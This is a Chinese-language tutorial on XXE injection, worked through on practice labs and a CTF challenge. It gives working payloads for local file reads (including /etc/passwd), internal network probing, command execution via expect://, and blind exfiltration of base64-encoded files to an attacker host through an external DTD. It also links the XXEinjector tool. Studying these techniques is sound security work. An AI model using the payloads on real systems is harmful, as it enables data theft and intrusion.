WEB漏洞原理之---【XMLXXE利用检测绕过】

news2025/5/25 6:18:13

文章目录

    • 1、概述
      • 1.1、XML概念
      • 1.2、XML与HTML的主要差异
      • 1.3、XML代码示例
    • 2、靶场演示
      • 2.1、Pikachu靶场--XML数据传输测试
        • 玩法-1-读取文件
        • 玩法-2-内网探针或攻击内网应用(触发漏洞地址)
        • 玩法-3-RCE
        • 引入外部实体DTD
        • 无回显-读取文件
          • 开启phpstudy--apache日志
    • 3、XXE绕过
    • 4、XXE检测
      • 4.1、xxe-lab靶场
      • 4.2、CTF-Jarvis-OJ-Web-XXE
      • 4.3、Vulnhub/XXE Lab: 1
    • 5、XXEinjection工具
    • 6、XXE安全防御

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

image-20230914200459665

-回显,玩法,协议,引入

image-20230914195827083

image-20230914200609514

玩法-1-读取文件

前提:读取的文件必须存在

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///C:/tmp/1.txt">
]>
<x>&xxe;</x>

image-20230914200744610

玩法-2-内网探针或攻击内网应用(触发漏洞地址)

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.8.3/1.php">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

image-20230914201117180

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

把核心 代码写入evil2.dtd内容如下:

<!ENTITY send SYSTEM "file:///C:/tmp/1.txt">

image-20230914202446789

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

image-20230914202506375

无回显-读取文件

先把靶场的回显代码注释掉

image-20230914204451864

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/tmp/1.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.8.3:80/test.dtd">
		%dtd;
		%send;
]>

#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.8.3:80/?data=%file;'>"
>
%payload;


#去访问?data=上面读到的数据
开启phpstudy–apache日志

image-20230914204048719

image-20230914204207341

重启phpstudy,就有了一个access.log

image-20230914204301315

然后攻击,无回显,查看日志

image-20230914204659302

解码网站:https://www.bejson.com/enc/base64/

image-20230914204803786

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

image-20230914205749442

image-20230914210810316

请求头中如下:
    Content-Type: application/xml;
    或者
    Content-Type: text/xml;

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/tmp/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20230914211108235

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

image-20230914212537086

点击Go!BurpSuite拦截

数据包为json格式

image-20230914212613373

修改Content-Type

提交Payload

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230914212918002

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

image-20230914214744412

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

image-20230914215810231

6、XXE安全防御

php java python 过滤及禁用

image-20230914220424275

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1010586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文弄懂基于图搜索的路径规划算法JPS(有python代码)

基于图搜索路径规划-JPS 关注晓理紫并回复jps获取代码 [晓理紫] 1、 Jump Point Search&#xff08;跳点搜索&#xff09; 核心&#xff1a;寻找到规划中的对称性 Path 并打破他们&#xff0c;从而避免扩展大量无用节点。 A*搜索的节点JPS 搜索的节点 1.1 概念 强迫邻居 节点…

【深度学习】 Python 和 NumPy 系列教程(十八):Matplotlib详解:2、3d绘图类型(4)3D曲面图(3D Surface Plot)

目录 一、前言 二、实验环境 三、Matplotlib详解 1、2d绘图类型 2、3d绘图类型 0. 设置中文字体 1. 3D线框图&#xff08;3D Line Plot&#xff09; 2. 3D散点图&#xff08;3D Scatter Plot&#xff09; 3. 3D条形图&#xff08;3D Bar Plot&#xff09; 4. 3D曲面图…

Copymonkey:AI生成营销广告文案

【产品介绍】 CopyMonkey.ai 是一家成立于2021年的创新型人工智能&#xff08;AI&#xff09;初创企业&#xff0c;专注于开发一款强大的AI写作助手。我们的产品旨在帮助用户以更高效且更自然的方式创作各种文本内容&#xff0c;无论是文章、博客、电子邮件、简历还是其他类型的…

ARM核心时间线

指令集架构处理器家族(ARM RISC)ARMv1ARM1ARMv2ARM2、ARM3ARMv3ARM6、ARM7ARMv4StrongARM、ARM7TDMI、ARM9TDMIARMv5ARM7EJ、ARM9E、ARM10E、XScaleARMv6ARM11、ARM Cortex-MARMv7ARM Cortex-A、ARM Cortex-M、ARM Cortex-RARMv8-A armv8.2Cortex-A35、Cortex-A50系列[18]、Cor…

华为云云耀云服务器L实例评测|在Docker环境下部署ZPan个人网盘系统

华为云云耀云服务器L实例评测&#xff5c;在Docker环境下部署ZPan个人网盘系统 一、云耀云服务器L实例介绍1.1 云耀云服务器L实例简介1.2 云耀云服务器L实例特点 二、ZPan介绍2.1 ZPan简介2.2 ZPan特点 三、华为对象存储服务OBS介绍3.1 华为OBS介绍3.2 华为OBS应用场景 四、本次…

部分依赖图(Partial Dependence Plots)以及实战-疾病引起原因解释

接上篇&#xff0c;特征重要性解释 特征重要性展示了每个特征发挥的作用情况&#xff0c;partial dependence plots可以展示一个特征怎样影响的了预测结果。 前提同样是应用在模型建立完成后进行使用&#xff0c;概述如下&#xff1a; 首先选中一个样本数据&#xff0c;此时想…

企业级镜像仓库Harbor的安装与配置

企业级镜像仓库Harbor的安装与配置 HarborHarbor概述安装Harbor配置 Harbor运行安装程序脚本登录启动与停止Harbor 登录Harbor仓库登录异常解决方案登录退出 推送拉取Harbor镜像镜像命名规范创建项目推送镜像拉取镜像 Harbor Harbor概述 Harbor是一个开源的容器镜像仓库管理系…

零售超市如何应对消费者需求?非常全面!

随着科技的飞速发展和消费者期望的不断演变&#xff0c;零售行业正经历着一场深刻的革命。传统零售模式逐渐被新零售模式所取代&#xff0c;而其中一个备受关注的元素是自动售货机。 自动售货机不仅在商场、车站和办公楼等高流量地点迅速扩张&#xff0c;还在重新定义我们如何购…

日志平台搭建第七章:Linux安装kafka-manager

相关链接https://github.com/yahoo/kafka-manager/releases kafka-manager-2.0.0.2下载地址 百度云链接&#xff1a;https://pan.baidu.com/s/1XinGcwpXU9YBF46qkrKS_A 提取码&#xff1a;tzvg 一、安装部署 1.把kafka-manager-2.0.0.2.zip拷贝到目录 /opt/app/elk 2.解压…

VSD Viewer 6.16.1(Visio绘图文件阅读器)

VSD Viewer是一款用于查看和打开Microsoft Visio文件的应用程序。Visio是一种流程图和图表设计工具&#xff0c;常用于创建各种类型的图形和图表&#xff0c;如组织结构图、流程图、网络拓扑图等。 VSD Viewer允许用户在没有安装Visio软件的情况下浏览和查看Visio文件。它提供…

变频器频率传感器信号转电压或电流信号隔离变送器0-1KHz / 0-5KHz / 0-10KHz转0-5V/0-10V/0-10mA/4-20mA

主要特性 精度等级&#xff1a;0.2 级全量程内极高的线性度&#xff08;非线性度<0.1%&#xff09;辅助电源/信号输入/信号输出&#xff1a; 2500VDC 三隔离辅助电源&#xff1a;5VDC&#xff0c;12VDC&#xff0c;24VDC 等单电源供电输入频率信号&#xff1a;0-1KHz / 0-5…

openGauss学习笔记-69 openGauss 数据库管理-创建和管理普通表-更新表中数据

文章目录 openGauss学习笔记-69 openGauss 数据库管理-创建和管理普通表-更新表中数据 openGauss学习笔记-69 openGauss 数据库管理-创建和管理普通表-更新表中数据 修改已经存储在数据库中数据的行为叫做更新。用户可以更新单独一行、所有行或者指定的部分行。还可以独立更新…

C++(Qt)软件调试---GCC编译参数学习-程序检测(13)

C(Qt)软件调试—GCC编译参数学习-程序检测&#xff08;13&#xff09; 文章目录 C(Qt)软件调试---GCC编译参数学习-程序检测&#xff08;13&#xff09;1、前言1.1 概述1.2 测试环境 2、GCC编译警告选项1.1 编译警告的作用1.2 GCC常用的编译警告选项 3、GCC程序检测选项1.1 性能…

解决Agora声网音视频在后台没有声音的问题

前言:本文会介绍 Android 与 iOS 两个平台的处理方式 一、Android高版本在应用退到后台时,系统为了省电会限制应用的后台活动,因此我们需要开启一个前台服务,在前台服务中发送常驻任务栏通知,以此来保证App 退到后台时不会被限制活动. 前台服务代码如下: package com.notify…

在ubuntu安装vncserver,可以打开远程桌面

1.网上查找vncserver的资料 2.在ubuntu20.04上面使用 https://www.5axxw.com/questions/simple/ywnpl5 参考了这个和其他很多 我直接运行vncserver&#xff0c;没有成功&#xff01; 当我使用这个命令时 xtigervncviewer -SecurityTypes VncAuth -passwd /home/yx/.vnc/passw…

构建高效的接口自动化测试框架思路

在选择接口测试自动化框架时&#xff0c;需要根据团队的技术栈和项目需求来综合考虑。对于测试团队来说&#xff0c;使用Python相关的测试框架更为便捷。无论选择哪种框架&#xff0c;重要的是确保 框架功能完备&#xff0c;易于维护和扩展&#xff0c;提高测试效率和准确性。今…

Biome-BGC生态系统模型与Python融合技术教程

详情点击公众号链接&#xff1a;Biome-BGC生态系统模型与Python融合技术教程 前言 Biome-BGC是利用站点描述数据、气象数据和植被生理生态参数&#xff0c;模拟日尺度碳、水和氮通量的有效模型&#xff0c;其研究的空间尺度可以从点尺度扩展到陆地生态系统。 在Biome-BGC模型…

crm、scrm、ocrm、acrm、ccrm等等分别是什么?有什么区别?

crm、SCRM、OCRM、ACRM、CCRM等等分别是什么&#xff1f;crm&#xff0c;scrm&#xff0c;ocrm&#xff0c;acrm&#xff0c;ccrm有什么区别&#xff1f;又有什么联系&#xff1f;这些系统各自之间都有哪些优势和缺点呢&#xff1f;今天将带领大家深入浅出的系统了解crm&#x…

idea 创建java web项目 run后出现404现象

1、创建新项目 创建的新项目只是单纯的java项目&#xff0c;如图 2、添加lib库文件&#xff0c;里面存放jar包&#xff0c;并导入库配置 这里要注意&#xff0c;需要先添加lib库文件再去配置模块和工件否则会出现404现象 3、打开模块设置&#xff0c;设置项目配置 将本…

c语言练习58:⾃定义类型:结构体

⾃定义类型&#xff1a;结构体 结构体的概念 结构是⼀些值的集合&#xff0c;这些值称为成员变量。结构的每个成员可以是不同类型的变量。 结构体是一个种自定义的数据类型&#xff0c;它可以由很多个默认数据类型组成。它主要用于描述复杂场景下的变量。 例如&#xff0c;想…